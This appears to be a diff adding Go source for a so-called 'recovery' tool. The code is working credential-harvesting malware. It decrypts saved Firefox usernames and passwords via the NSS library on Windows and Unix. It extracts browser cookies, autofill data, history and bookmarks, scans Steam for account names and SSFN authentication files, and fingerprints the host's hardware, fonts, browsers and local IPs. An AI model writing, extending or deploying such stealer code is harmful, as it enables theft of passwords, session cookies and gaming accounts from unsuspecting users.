||||
l = strings.TrimSpace(l)
|
||||
if l != "" && !containsStr(langs, l) {
|
||||
langs = append(langs, l)
|
||||
}
|
||||
}
|
||||
}
|
||||
return langs
|
||||
}
|
||||
|
||||
func chromeAcceptLanguages() string {
|
||||
local := os.Getenv("LOCALAPPDATA")
|
||||
if local == "" {
|
||||
return ""
|
||||
}
|
||||
path := filepath.Join(local, `Google\Chrome\User Data\Default\Preferences`)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
s := string(data)
|
||||
idx := strings.Index(s, `"accept_languages"`)
|
||||
if idx < 0 {
|
||||
return ""
|
||||
}
|
||||
rest := s[idx:]
|
||||
colon := strings.Index(rest, ":")
|
||||
if colon < 0 {
|
||||
return ""
|
||||
}
|
||||
rest = rest[colon+1:]
|
||||
start := strings.Index(rest, `"`)
|
||||
if start < 0 {
|
||||
return ""
|
||||
}
|
||||
rest = rest[start+1:]
|
||||
end := strings.Index(rest, `"`)
|
||||
if end < 0 {
|
||||
return ""
|
||||
}
|
||||
return rest[:end]
|
||||
}
|
||||
|
||||
// ── Fonts ─────────────────────────────────────────────────────────
|
||||
|
||||
func fonts() []string {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts`,
|
||||
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, err := k.ReadValueNames(-1)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var out []string
|
||||
seen := map[string]bool{}
|
||||
for _, name := range names {
|
||||
f := strings.TrimSpace(name)
|
||||
f = strings.TrimSuffix(f, " (TrueType)")
|
||||
f = strings.TrimSuffix(f, " (OpenType)")
|
||||
f = strings.TrimSuffix(f, " (All res)")
|
||||
if f == "" || seen[f] {
|
||||
continue
|
||||
}
|
||||
seen[f] = true
|
||||
out = append(out, f)
|
||||
}
|
||||
sort.Strings(out)
|
||||
return out
|
||||
}
|
||||
|
||||
// ── GPU ───────────────────────────────────────────────────────────
|
||||
|
||||
func gpuName() string {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
|
||||
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(-1)
|
||||
for _, sub := range subs {
|
||||
if !strings.HasPrefix(sub, "0") {
|
||||
continue
|
||||
}
|
||||
sk, err := registry.OpenKey(k, sub, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
desc, _, _ := sk.GetStringValue("DriverDesc")
|
||||
sk.Close()
|
||||
desc = strings.TrimSpace(desc)
|
||||
if desc == "" || strings.Contains(desc, "Microsoft Basic Display") ||
|
||||
strings.Contains(desc, "Microsoft Remote Display") {
|
||||
continue
|
||||
}
|
||||
return desc
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ── Installed browsers ────────────────────────────────────────────
|
||||
|
||||
var browserUpdateGUIDs = []struct {
|
||||
name string
|
||||
guid string
|
||||
}{
|
||||
{"Chrome", `{8A69D345-D564-463c-AFF1-A69D9E530F96}`},
|
||||
{"Edge", `{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}`},
|
||||
{"Brave", `{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}`},
|
||||
}
|
||||
|
||||
func installedBrowsers() []Browser {
|
||||
var out []Browser
|
||||
for _, b := range browserUpdateGUIDs {
|
||||
ver := browserVersion(b.guid)
|
||||
if ver == "" {
|
||||
continue
|
||||
}
|
||||
out = append(out, Browser{Name: b.name, Version: ver, Path: browserExePath(b.name)})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func browserVersion(guid string) string {
|
||||
for _, root := range []string{`SOFTWARE\Google\Update\Clients\`, `SOFTWARE\WOW6432Node\Google\Update\Clients\`} {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE, root+guid, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
pv, _, err := k.GetStringValue("pv")
|
||||
k.Close()
|
||||
if err == nil && pv != "" {
|
||||
return pv
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func browserExePath(name string) string {
|
||||
var paths []string
|
||||
pf := os.Getenv("ProgramFiles")
|
||||
pf86 := os.Getenv("ProgramFiles(x86)")
|
||||
switch name {
|
||||
case "Chrome":
|
||||
paths = []string{
|
||||
filepath.Join(pf, `Google\Chrome\Application\chrome.exe`),
|
||||
filepath.Join(pf86, `Google\Chrome\Application\chrome.exe`),
|
||||
}
|
||||
case "Edge":
|
||||
paths = []string{
|
||||
filepath.Join(pf, `Microsoft\Edge\Application\msedge.exe`),
|
||||
filepath.Join(pf86, `Microsoft\Edge\Application\msedge.exe`),
|
||||
}
|
||||
case "Brave":
|
||||
paths = []string{
|
||||
filepath.Join(pf, `BraveSoftware\Brave-Browser\Application\brave.exe`),
|
||||
filepath.Join(pf86, `BraveSoftware\Brave-Browser\Application\brave.exe`),
|
||||
}
|
||||
}
|
||||
for _, p := range paths {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ── User agent ────────────────────────────────────────────────────
|
||||
|
||||
func userAgent(browsers []Browser) string {
|
||||
order := []string{"Chrome", "Edge", "Brave"}
|
||||
version := ""
|
||||
for _, want := range order {
|
||||
for _, b := range browsers {
|
||||
if b.Name == want && b.Version != "" {
|
||||
version = b.Version
|
||||
break
|
||||
}
|
||||
}
|
||||
if version != "" {
|
||||
break
|
||||
}
|
||||
}
|
||||
if version == "" {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", version)
|
||||
}
|
||||
|
||||
// ── Local IPs ─────────────────────────────────────────────────────
|
||||
|
||||
func localIPs() []string {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var ips []string
|
||||
for _, iface := range ifaces {
|
||||
addrs, err := iface.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, addr := range addrs {
|
||||
ip, _, err := net.ParseCIDR(addr.String())
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if v4 := ip.To4(); v4 != nil && !v4.IsLoopback() {
|
||||
s := v4.String()
|
||||
if !containsStr(ips, s) {
|
||||
ips = append(ips, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ips
|
||||
}
|
||||
|
||||
func containsStr(s []string, v string) bool {
|
||||
for _, x := range s {
|
||||
if x == v {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package fingerprint
|
||||
|
||||
type JSResult struct {
|
||||
Canvas string `json:"canvas,omitempty"`
|
||||
WebGLRenderer string `json:"webglRenderer,omitempty"`
|
||||
WebGLVendor string `json:"webglVendor,omitempty"`
|
||||
WebGLVersion string `json:"webglVersion,omitempty"`
|
||||
WebGLParams map[string]interface{} `json:"webglParams,omitempty"`
|
||||
WebGLExtensions []string `json:"webglExtensions,omitempty"`
|
||||
Audio float64 `json:"audio,omitempty"`
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package fingerprint
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[fingerprint] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package fingerprint
|
||||
|
||||
// Browser is an installed browser and its version.
|
||||
type Browser struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Path string `json:"path,omitempty"`
|
||||
}
|
||||
|
||||
// Result is the collected native fingerprint.
|
||||
type Result struct {
|
||||
UserAgent string `json:"userAgent"`
|
||||
Platform string `json:"platform"`
|
||||
OS string `json:"os"`
|
||||
OSArch string `json:"osArch"`
|
||||
Languages []string `json:"languages"`
|
||||
HardwareConcurrency int `json:"hardwareConcurrency"`
|
||||
DeviceMemory int `json:"deviceMemory"`
|
||||
MaxTouchPoints int `json:"maxTouchPoints"`
|
||||
ScreenWidth int `json:"screenWidth"`
|
||||
ScreenHeight int `json:"screenHeight"`
|
||||
AvailWidth int `json:"availWidth"`
|
||||
AvailHeight int `json:"availHeight"`
|
||||
ColorDepth int `json:"colorDepth"`
|
||||
DevicePixelRatio float64 `json:"devicePixelRatio"`
|
||||
Timezone string `json:"timezone"`
|
||||
TimezoneOffset int `json:"timezoneOffset"`
|
||||
Fonts []string `json:"fonts"`
|
||||
GPU string `json:"gpu"`
|
||||
Browsers []Browser `json:"browsers"`
|
||||
LocalIPs []string `json:"localIps"`
|
||||
}
|
||||
@@ -0,0 +1,236 @@
|
||||
package firefox
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
|
||||
"recovery/recovery/chromium"
|
||||
"recovery/recovery/db"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
type firefoxLoginFile struct {
|
||||
Logins []firefoxLogin `json:"logins"`
|
||||
}
|
||||
|
||||
type firefoxLogin struct {
|
||||
Hostname string `json:"hostname"`
|
||||
EncryptedUsername string `json:"encryptedUsername"`
|
||||
EncryptedPassword string `json:"encryptedPassword"`
|
||||
}
|
||||
|
||||
var nssmu sync.Mutex
|
||||
|
||||
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.PasswordResult {
|
||||
loginsPath := filepath.Join(profile.Path, "logins.json")
|
||||
data, err := os.ReadFile(loginsPath)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var logins firefoxLoginFile
|
||||
if err := json.Unmarshal(data, &logins); err != nil {
|
||||
return nil
|
||||
}
|
||||
if len(logins.Logins) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
nssmu.Lock()
|
||||
defer nssmu.Unlock()
|
||||
|
||||
results := nssDecryptLogins(profile.Path, cfg.Name, logins.Logins)
|
||||
var out []types.PasswordResult
|
||||
for _, r := range results {
|
||||
if r.URL != "" && (r.Username != "" || r.Password != "") {
|
||||
r.Browser = cfg.Name
|
||||
r.Profile = profile.Name
|
||||
out = append(out, r)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
|
||||
dbPath := filepath.Join(profile.Path, "formhistory.sqlite")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query("SELECT fieldname, value, timesUsed, firstUsed FROM moz_formhistory")
|
||||
if err != nil {
|
||||
rows2, err2 := d.Query("SELECT fieldname, value FROM moz_formhistory")
|
||||
if err2 != nil {
|
||||
return nil
|
||||
}
|
||||
defer rows2.Close()
|
||||
var results []types.AutofillResult
|
||||
for rows2.Next() {
|
||||
var name, value sql.NullString
|
||||
rows2.Scan(&name, &value)
|
||||
if name.String != "" {
|
||||
results = append(results, types.AutofillResult{
|
||||
Name: name.String,
|
||||
Value: value.String,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.AutofillResult
|
||||
for rows.Next() {
|
||||
var name, value sql.NullString
|
||||
var timesUsed, firstUsed sql.NullInt64
|
||||
rows.Scan(&name, &value, ×Used, &firstUsed)
|
||||
|
||||
var dateCreated int64
|
||||
if firstUsed.Int64 > 0 {
|
||||
dateCreated = firstUsed.Int64 / 1000000
|
||||
}
|
||||
|
||||
if name.String != "" {
|
||||
results = append(results, types.AutofillResult{
|
||||
Name: name.String,
|
||||
Value: value.String,
|
||||
DateCreated: dateCreated,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig) []types.CookieResult {
|
||||
dbPath := filepath.Join(profile.Path, "cookies.sqlite")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
d, err := db.OpenDatabase(dbPath, nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query("SELECT host, name, value, path, isSecure, isHttpOnly, expiry FROM moz_cookies")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.CookieResult
|
||||
for rows.Next() {
|
||||
var host, name, value, path sql.NullString
|
||||
var secure, httpOnly, expiry sql.NullInt64
|
||||
rows.Scan(&host, &name, &value, &path, &secure, &httpOnly, &expiry)
|
||||
results = append(results, types.CookieResult{
|
||||
Host: host.String,
|
||||
Name: name.String,
|
||||
Value: value.String,
|
||||
Path: path.String,
|
||||
Secure: secure.Int64 != 0,
|
||||
HTTPOnly: httpOnly.Int64 != 0,
|
||||
ExpiresUTC: expiry.Int64,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig) []types.HistoryResult {
|
||||
dbPath := filepath.Join(profile.Path, "places.sqlite")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
q := fmt.Sprintf(
|
||||
`SELECT p.url, p.title, h.visit_date FROM moz_historyvisits h
|
||||
JOIN moz_places p ON p.id = h.place_id
|
||||
ORDER BY h.visit_date DESC LIMIT %d`,
|
||||
chromium.HistoryLimit,
|
||||
)
|
||||
rows, err := d.Query(q)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.HistoryResult
|
||||
for rows.Next() {
|
||||
var url, title sql.NullString
|
||||
var visitDate sql.NullInt64
|
||||
rows.Scan(&url, &title, &visitDate)
|
||||
|
||||
var visitTimeUnix int64
|
||||
if visitDate.Int64 > 0 {
|
||||
visitTimeUnix = visitDate.Int64 / 1000000
|
||||
}
|
||||
if url.String != "" {
|
||||
results = append(results, types.HistoryResult{
|
||||
URL: url.String,
|
||||
Title: title.String,
|
||||
VisitTimeUnix: visitTimeUnix,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
|
||||
dbPath := filepath.Join(profile.Path, "places.sqlite")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query(`SELECT b.title, p.url FROM moz_bookmarks b
|
||||
JOIN moz_places p ON p.id = b.fk
|
||||
WHERE b.type = 1 AND p.url != '' ORDER BY b.dateAdded DESC`)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.BookmarkResult
|
||||
for rows.Next() {
|
||||
var title, url sql.NullString
|
||||
rows.Scan(&title, &url)
|
||||
if url.String != "" {
|
||||
results = append(results, types.BookmarkResult{
|
||||
Name: title.String,
|
||||
URL: url.String,
|
||||
Type: "url",
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package firefox
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[firefox] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
//go:build !windows
|
||||
|
||||
package firefox
|
||||
|
||||
/*
|
||||
#cgo LDFLAGS: -ldl
|
||||
#include <dlfcn.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef struct {
|
||||
unsigned int type;
|
||||
unsigned char *data;
|
||||
unsigned int len;
|
||||
} SECItem;
|
||||
|
||||
typedef int (*NSS_Init_Fn)(const char*);
|
||||
typedef int (*NSS_Shutdown_Fn)(void);
|
||||
typedef int (*PK11SDR_Decrypt_Fn)(SECItem*, SECItem*, void*);
|
||||
typedef void (*PORT_Free_Fn)(void*);
|
||||
|
||||
static void* load_nss(const char* path) {
|
||||
return dlopen(path, RTLD_LAZY | RTLD_GLOBAL);
|
||||
}
|
||||
|
||||
static void close_nss(void* handle) {
|
||||
if (handle) dlclose(handle);
|
||||
}
|
||||
|
||||
static int call_nss_init(void* handle, const char* profile) {
|
||||
NSS_Init_Fn fn = (NSS_Init_Fn)dlsym(handle, "NSS_Init");
|
||||
if (!fn) return -1;
|
||||
return fn(profile);
|
||||
}
|
||||
|
||||
static int call_nss_shutdown(void* handle) {
|
||||
NSS_Shutdown_Fn fn = (NSS_Shutdown_Fn)dlsym(handle, "NSS_Shutdown");
|
||||
if (!fn) return -1;
|
||||
return fn();
|
||||
}
|
||||
|
||||
static int call_pk11sdr_decrypt(void* handle, SECItem* enc, SECItem* dec) {
|
||||
PK11SDR_Decrypt_Fn fn = (PK11SDR_Decrypt_Fn)dlsym(handle, "PK11SDR_Decrypt");
|
||||
if (!fn) return -1;
|
||||
return fn(enc, dec, NULL);
|
||||
}
|
||||
|
||||
static void call_port_free(void* handle, void* ptr) {
|
||||
PORT_Free_Fn fn = (PORT_Free_Fn)dlsym(handle, "PORT_Free");
|
||||
if (fn) fn(ptr);
|
||||
}
|
||||
*/
|
||||
import "C"
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var nssLibPaths = []string{
|
||||
// Linux paths
|
||||
"/usr/lib/x86_64-linux-gnu/libnss3.so",
|
||||
"/usr/lib64/libnss3.so",
|
||||
"/usr/lib/libnss3.so",
|
||||
"/usr/lib/firefox/libnss3.so",
|
||||
"/usr/lib64/firefox/libnss3.so",
|
||||
"/opt/firefox/libnss3.so",
|
||||
"/opt/librewolf/libnss3.so",
|
||||
"/snap/firefox/current/usr/lib/firefox/libnss3.so",
|
||||
// macOS paths
|
||||
"/Applications/Firefox.app/Contents/MacOS/libnss3.dylib",
|
||||
"/Applications/LibreWolf.app/Contents/MacOS/libnss3.dylib",
|
||||
"/Applications/Waterfox.app/Contents/MacOS/libnss3.dylib",
|
||||
"/opt/homebrew/lib/libnss3.dylib",
|
||||
"/usr/local/lib/libnss3.dylib",
|
||||
}
|
||||
|
||||
func findNSSLib() string {
|
||||
suffix := ".so"
|
||||
if runtime.GOOS == "darwin" {
|
||||
suffix = ".dylib"
|
||||
}
|
||||
for _, p := range nssLibPaths {
|
||||
if strings.HasSuffix(p, suffix) {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
}
|
||||
name := "libnss3.so"
|
||||
if runtime.GOOS == "darwin" {
|
||||
name = "libnss3.dylib"
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
|
||||
libPath := findNSSLib()
|
||||
cLibPath := C.CString(libPath)
|
||||
defer C.free(unsafe.Pointer(cLibPath))
|
||||
|
||||
handle := C.load_nss(cLibPath)
|
||||
if handle == nil {
|
||||
logf("firefox NSS: failed to load %s", libPath)
|
||||
return nil
|
||||
}
|
||||
defer C.close_nss(handle)
|
||||
|
||||
cProfile := C.CString(profilePath)
|
||||
defer C.free(unsafe.Pointer(cProfile))
|
||||
|
||||
ret := C.call_nss_init(handle, cProfile)
|
||||
if ret != 0 {
|
||||
logf("firefox NSS: NSS_Init failed for %s", profilePath)
|
||||
return nil
|
||||
}
|
||||
defer C.call_nss_shutdown(handle)
|
||||
|
||||
var results []types.PasswordResult
|
||||
for _, login := range logins {
|
||||
username := nssDecryptUnix(handle, login.EncryptedUsername)
|
||||
password := nssDecryptUnix(handle, login.EncryptedPassword)
|
||||
results = append(results, types.PasswordResult{
|
||||
URL: login.Hostname,
|
||||
Username: username,
|
||||
Password: password,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func nssDecryptUnix(handle unsafe.Pointer, b64 string) string {
|
||||
b64 = strings.TrimSpace(b64)
|
||||
if b64 == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
encBytes, err := base64.StdEncoding.DecodeString(b64)
|
||||
if err != nil || len(encBytes) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var encItem C.SECItem
|
||||
encItem.data = (*C.uchar)(unsafe.Pointer(&encBytes[0]))
|
||||
encItem.len = C.uint(len(encBytes))
|
||||
|
||||
var decItem C.SECItem
|
||||
ret := C.call_pk11sdr_decrypt(handle, &encItem, &decItem)
|
||||
if ret != 0 || decItem.data == nil || decItem.len == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
result := C.GoStringN((*C.char)(unsafe.Pointer(decItem.data)), C.int(decItem.len))
|
||||
C.call_port_free(handle, unsafe.Pointer(decItem.data))
|
||||
|
||||
return result
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
//go:build windows
|
||||
|
||||
package firefox
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
type secItem struct {
|
||||
ItemType uint32
|
||||
Data *byte
|
||||
Len uint32
|
||||
}
|
||||
|
||||
var nssInstallDirs = map[string][]string{
|
||||
"Firefox": {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`},
|
||||
"LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`},
|
||||
"Waterfox": {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`},
|
||||
}
|
||||
|
||||
func findNSSDir(browserName string) string {
|
||||
dirs := nssInstallDirs[browserName]
|
||||
if dirs == nil {
|
||||
dirs = nssInstallDirs["Firefox"]
|
||||
}
|
||||
for _, dir := range dirs {
|
||||
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
|
||||
return dir
|
||||
}
|
||||
}
|
||||
for _, dirs := range nssInstallDirs {
|
||||
for _, dir := range dirs {
|
||||
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
|
||||
return dir
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
|
||||
nssDir := findNSSDir(browserName)
|
||||
if nssDir == "" {
|
||||
logf("firefox NSS: nss3.dll not found for %s", browserName)
|
||||
return nil
|
||||
}
|
||||
|
||||
oldPath := os.Getenv("PATH")
|
||||
os.Setenv("PATH", nssDir+";"+oldPath)
|
||||
defer os.Setenv("PATH", oldPath)
|
||||
|
||||
nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll"))
|
||||
if err != nil {
|
||||
logf("firefox NSS: failed to load nss3.dll: %v", err)
|
||||
return nil
|
||||
}
|
||||
defer nss3dll.Release()
|
||||
|
||||
nssInit, err := nss3dll.FindProc("NSS_Init")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown")
|
||||
portFree, _ := nss3dll.FindProc("PORT_Free")
|
||||
|
||||
profileBytes, err := syscall.BytePtrFromString(profilePath)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes)))
|
||||
if ret != 0 {
|
||||
logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr)
|
||||
return nil
|
||||
}
|
||||
defer func() {
|
||||
if nssShutdown != nil {
|
||||
nssShutdown.Call()
|
||||
}
|
||||
}()
|
||||
|
||||
var results []types.PasswordResult
|
||||
for _, login := range logins {
|
||||
username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername)
|
||||
password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword)
|
||||
results = append(results, types.PasswordResult{
|
||||
URL: login.Hostname,
|
||||
Username: username,
|
||||
Password: password,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string {
|
||||
b64 = strings.TrimSpace(b64)
|
||||
if b64 == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
encBytes, err := base64.StdEncoding.DecodeString(b64)
|
||||
if err != nil || len(encBytes) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))}
|
||||
var decItem secItem
|
||||
|
||||
ret, _, _ := pk11SDRDecrypt.Call(
|
||||
uintptr(unsafe.Pointer(&encItem)),
|
||||
uintptr(unsafe.Pointer(&decItem)),
|
||||
0,
|
||||
)
|
||||
if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 {
|
||||
return ""
|
||||
}
|
||||
|
||||
decBytes := unsafe.Slice(decItem.Data, decItem.Len)
|
||||
result := string(decBytes)
|
||||
|
||||
if portFree != nil {
|
||||
portFree.Call(uintptr(unsafe.Pointer(decItem.Data)))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
@@ -0,0 +1,228 @@
|
||||
//go:build !windows
|
||||
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
func pathExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func ScanGaming() *types.GamingResult {
|
||||
result := &types.GamingResult{
|
||||
Steam: scanSteamUnix(),
|
||||
}
|
||||
if result.Steam == nil {
|
||||
return nil
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func steamBasePaths() []string {
|
||||
home, _ := os.UserHomeDir()
|
||||
if runtime.GOOS == "darwin" {
|
||||
return []string{
|
||||
filepath.Join(home, "Library", "Application Support", "Steam"),
|
||||
}
|
||||
}
|
||||
return []string{
|
||||
filepath.Join(home, ".steam", "steam"),
|
||||
filepath.Join(home, ".local", "share", "Steam"),
|
||||
filepath.Join(home, ".steam", "debian-installation"),
|
||||
}
|
||||
}
|
||||
|
||||
func scanSteamUnix() *types.SteamResult {
|
||||
var steamPath string
|
||||
for _, p := range steamBasePaths() {
|
||||
if pathExists(p) {
|
||||
steamPath = p
|
||||
break
|
||||
}
|
||||
}
|
||||
if steamPath == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
result := &types.SteamResult{SteamPath: steamPath}
|
||||
|
||||
configPath := filepath.Join(steamPath, "config", "loginusers.vdf")
|
||||
if data, err := os.ReadFile(configPath); err == nil {
|
||||
for _, line := range strings.Split(string(data), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, `"AccountName"`) || strings.HasPrefix(line, `"accountname"`) {
|
||||
val := vdfValueUnix(line)
|
||||
if val != "" {
|
||||
result.Account = val
|
||||
result.AutoLogin = val
|
||||
}
|
||||
}
|
||||
if strings.HasPrefix(line, `"RememberPassword"`) {
|
||||
result.RememberPW = vdfValueUnix(line) == "1"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if entries, err := os.ReadDir(steamPath); err == nil {
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
|
||||
result.SSFNFiles = append(result.SSFNFiles, e.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
seenGames := make(map[string]bool)
|
||||
scanSteamLibraryUnix(steamPath, result, seenGames)
|
||||
|
||||
if result.Account == "" && len(result.Games) == 0 && len(result.SSFNFiles) == 0 {
|
||||
return nil
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func scanSteamLibraryUnix(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
|
||||
libraryFolders := []string{steamPath}
|
||||
|
||||
steamappsRoot := filepath.Join(steamPath, "steamapps")
|
||||
vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
|
||||
if data, err := os.ReadFile(vdfPath); err == nil {
|
||||
